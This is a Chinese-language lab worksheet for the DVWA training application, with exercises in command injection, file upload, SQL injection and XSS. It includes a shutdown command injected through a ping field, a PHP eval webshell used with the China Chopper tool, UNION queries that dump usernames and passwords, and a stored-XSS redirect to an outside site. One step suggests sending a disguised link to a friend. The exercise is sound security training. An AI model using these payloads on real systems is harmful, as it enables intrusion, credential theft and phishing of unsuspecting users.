实训背景知识
DVWA(Damn Vulnerable Web Application)是randomstorm的一个开源项目。一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。
DVWA共有十个模块,分别是:
1.Brute Force(密码破解)
2.Command Injection(命令行注入)
3.CSRF(跨站请求伪造)
4.File Inclusion(文件包含)
5.File Upload(文件上传)
6.Insecure CAPTCHA (不安全的验证码)
7.SQL Injection(SQL注入)
8.SQL Injection(Blind)(SQL盲注)
9.XSS(Reflected)(反射型跨站脚本)
10.XSS(Stored)(存储型跨站脚本)
实训准备——该死的易受攻击的网站部署
1.运行phpstudy服务器,确保阿帕奇和mysql正常启动
2.将DVWA解压到phpstudy的www文件夹下,在浏览器中打开DVWA网站。
实训——命令注入
- 打开Command Injection界面,在该界面提供一个命令行执行环境,输入ip地址返回ping命令的结果。
2.window和linux系统都可以用&&在同一行附加执行其他命令,尝试注入附加命令使目标主机(延时)关机。(&&shutdown -s -t 600 shutdown –a可取消关)
实训——文件上传
1、建立一个PHP文件,内容为:<?php @eval($_POST['pass']);?>。打开File Upload界面,将PHP一句话木马上传。
得到木马在服务器上的路径
2、打开中国菜刀,把上传木马路径添加到工具上。
3、双击网址进入文件管理。(注:这里可以进行文件管理,数据库管理,虚拟终端或运行自写脚本)
实训——SQL注入
- 猜测使用的sql语句可能是:select First name and Surname from 表名 where
- id=‘输入的id’。 输入1’ union select 1,database()#提交,得到数据库名称。
- information_schema.tables where table_schema=‘dvwa’#,得到数据库中的表名。
- 输入1’union select 1,column_name from information_schema.columns where table_name=‘users’#,得到users表的列名。
- 输入1’ union select1,concat(user,password) from users#,得到users表的所有用户名和密码。
实训——跨站脚本
1、打开XSS(DOM)界面,点击Select按钮,修改地址栏中的default属性为<script>alert('XXX')</script>
,回车后命令被执行。
2、打开XSS(Reflected)界面,点击Submit,修改地址栏中的name=<script>alert('XXX')</script>
。
3、利用在线短链接生成器伪造该链接,将短链接发送给小伙伴,命令被执行。
4、打开XSS(Stored)界面,在message栏中填入
<script> window.location.href="http://d.mytanwan.com/h/26026.html"</script>
,提交后内容被存入数据库,之后每次进入该页面命令都会被执行。